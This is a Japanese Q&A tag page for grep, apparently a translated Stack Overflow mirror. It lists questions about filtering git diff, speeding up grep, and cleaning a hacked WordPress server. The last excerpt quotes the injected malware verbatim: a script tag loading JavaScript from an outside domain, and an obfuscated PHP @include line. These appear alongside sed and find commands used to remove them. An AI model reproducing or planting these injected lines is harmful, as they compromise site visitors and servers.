タグ付けされた質問 「grep」

grepは、もともとUnix用に書かれたコマンドラインのテキスト検索ユーティリティです。正規表現を使用してテキストを照合し、一般にパイプラインのフィルターとして使用されます。このタグは、質問がgrepまたはgrepベースのAPIを使用したプログラミングに関連している場合にのみ使用してください。grepコマンドラインオプション自体の使用またはトラブルシューティングに関する質問はトピックから外れています。

9
git diffをgrepする方法は?
特定のパターンでフィルタリングされたgit-diffを表示する方法はありますか? 何かのようなもの git grepdiff pattern changed file +++ some sentence with pattern changed file 2 --- some other pattern 残念ながら、最も単純な解決策では十分ではありません git diff | grep pattern +++ some sentence with pattern --- some other pattern # not an option as doesn't put the filename close to the match awkを使用した回避策が付属しています git diff …
81 git  grep  diff 

12
可能な限り最速のgrep
ロックされています。この質問はトピックから外れていますが、歴史的に重要であるため、この質問とその回答はロックされています。現在、新しい回答ややり取りは受け付けていません。 grepできるだけ早くするためのヒントがあるかどうか知りたいのですが。私は可能な限り迅速な方法で検索するためにかなり大きなテキストファイルのベースを持っています。-iオプションを取り除くことができるように、すべて小文字にしました。これにより、検索がはるかに高速になります。 また、私はことを発見した-Fと-Pモードが速く、デフォルトよりもあります。検索文字列が正規表現ではない場合(プレーンテキストのみ)は前者を使用し、正規表現が含まれる場合は後者を使用します。 誰かがスピードアップの経験がありgrepますか?たぶん、特定のフラグを使用して最初からコンパイルしたり(Linux CentOSを使用しています)、特定の方法でファイルを整理したり、何らかの方法で検索を並行させたりしますか?
80 bash  unix  grep 


7
sedまたはおそらくgrepを使用して文字列全体を置き換える方法
サーバー全体がハッキングされたり、マルウェアの問題が発生したりしました。私のサイトはWordPressベースで、私のサーバーでホストされているサイトの大部分はWordPressベースです。ハッカーはこのコード行をすべてのファイルとデータベースに追加しました <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> 私は使用してgrepでそれを検索しました grep -r "trasnaltemyrecords" /var/www/html/{*,.*} 私はそれをファイル構造全体で置き換えようとしています、sedそして私は次のコマンドを書きました。 sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php index.php最初に1 つのファイルの文字列を置き換えようとしているので、それが機能することがわかります。 そして、私は自分のコードが間違っていることを知っています。これで私を助けてください。 @Eranのコードを試してみたところ、行全体が削除されました。しかし、専門用語はこれです /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ そして、すべてのコンテンツを削除したいのですが、phpの開始タグを保持したいと思ってい<?phpます。 @slyblotyの解決策は簡単で、うまくいきましたが。 影響を受けるすべてのファイルからコードを完全に削除します。私は次の3つのコマンドを実行しています。 find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -スクリプト行を削除するには find . -type f …
10 bash  shell  sed  grep 
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.